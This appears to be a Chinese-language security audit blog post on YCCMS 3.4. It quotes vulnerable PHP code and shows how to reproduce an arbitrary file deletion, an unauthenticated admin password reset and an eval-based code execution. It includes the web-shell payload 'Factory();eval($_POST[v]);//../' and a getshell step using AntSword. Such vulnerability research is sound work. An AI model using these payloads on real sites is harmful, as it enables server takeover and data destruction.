YCCMS3.4审计

前言

跟着审了一下YCCMS

任意文件删除

这个漏洞存在于后台,管理图片处,我们跟进一下那个代码:

PicAction.class.php 文件中的delall() 方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public function delall()
{
if(isset($_POST['send'])){
if(validate::isNullString($_POST['pid'])) tool::layer_alert('没有选择任何图片!','?a=pic',7);
$_fileDir=ROOT_PATH.'/uploads/';
foreach($_POST['pid'] as $_value){
$_filePath=$_fileDir.$_value;
if(!unlink($_filePath)){
tool::layer_alert('图片删除失败,请设权限为777!','?a=pic',7);
}else{
header('Location:?a=pic');
}
}
}
}

没对pid 参数做任何处理,然后 value直接拼接,unlink($_filePath) 通过这个造成任意文件删除。

复现:

我们新建一个测试文件:

1.png

在后台其他功能 -> 图片管理 -> 删除选中图片 然后抓包修改一下路径:

2.png

发现新建的test.txt 文件被成功删除。

任意密码修改

AdminAction.class.php 中的 update 方法,没有对身份做认证,只对账号,密码,第二次输入密码,作了限制。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public function update()
{
if(isset($_POST['send']))
{
if(validate::isNullString($_POST['username'])) Tool::t_back('用户名不能为空','?a=admin&m=update');
if(validate::isNullString($_POST['password'])) Tool::t_back('密码不能为空!','?a=admin&m=update');
if(!(validate::checkStrEquals($_POST['password'], $_POST['notpassword']))) Tool::t_back('两次密码不一致!','?a=admin&m=update');
$this->_model->username=$_POST['username'];
$this->_model->password=sha1($_POST['password']);
$_edit=$this->_model->editAdmin();
if($_edit){
tool::layer_alert('密码修改成功!','?a=admin&m=update',6);
}else{
tool::layer_alert('密码未修改!','?a=admin&m=update',6);
}
}
$this->_tpl->assign('admin', $_SESSION['admin']);
$this->_tpl->display('admin/public/update.tpl');
}

在跟进一下editAdmin()

1
2
3
4
5
6
7
8
9
10
11
12
public function editAdmin()
{
$_sql="UPDATE
my_admin
SET
username='$this->username',
password='$this->password'
WHERE
id=1
LIMIT 1";
return parent::update($_sql);
}

然后这里直接作了SQL更新操作语句处理。

先抓包看一下更改操作包的结构:

3.png

然后我们退出登陆,直接按照格式伪造一下相关参数:

5.png

然后尝试用admin/123456 去登陆,发现直接登陆成功。

命令执行

run.inc.php 中存在一行 Factory::setAction()->run(); 这样的调用

然后我们具体跟进这个类的setAction 方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
static public function setAction()
{
$_a=self::getA();
if (in_array($_a, array('admin', 'nav', 'article','backup','html','link','pic','search','system','xml','online')))
{
if (!isset($_SESSION['admin']))
{
header('Location:'.'?a=login');
}
}
if (!file_exists(ROOT_PATH.'/controller/'.ucfirst($_a).'Action.class.php')) $_a = 'Login';
eval('self::$_obj = new '.ucfirst($_a).'Action();');
return self::$_obj;
}

然后看 getA()

1
2
3
4
5
6
7
8
   static public function getA()
{
if(isset($_GET['a']) && !empty($_GET['a']))
{
return $_GET['a'];
}
return 'login';
}

GET传值,参数可控。

主要是这里:

1
2
if (!file_exists(ROOT_PATH.'/controller/'.ucfirst($_a).'Action.class.php')) $_a = 'Login';
eval('self::$_obj = new '.ucfirst($_a).'Action();');

如果判断路径存在,则执行eval() ,我们看一下ucfirst()函数,发现:

1
function ucfirst ($str) {}

空的,好像没太大用处。那么现在的问题就是怎么绕过file_exists 检测,这里file-exists 有一个bug。

遇见/../ 会跳转到上一个目录,因为这里ROOT_PATH/controller 是存在的,我们构造payload:

Factory();eval($_POST[v]);//../

我们直接在/config/count.php 那里传入,直接上蚁剑getshell :

7.png

成功getshell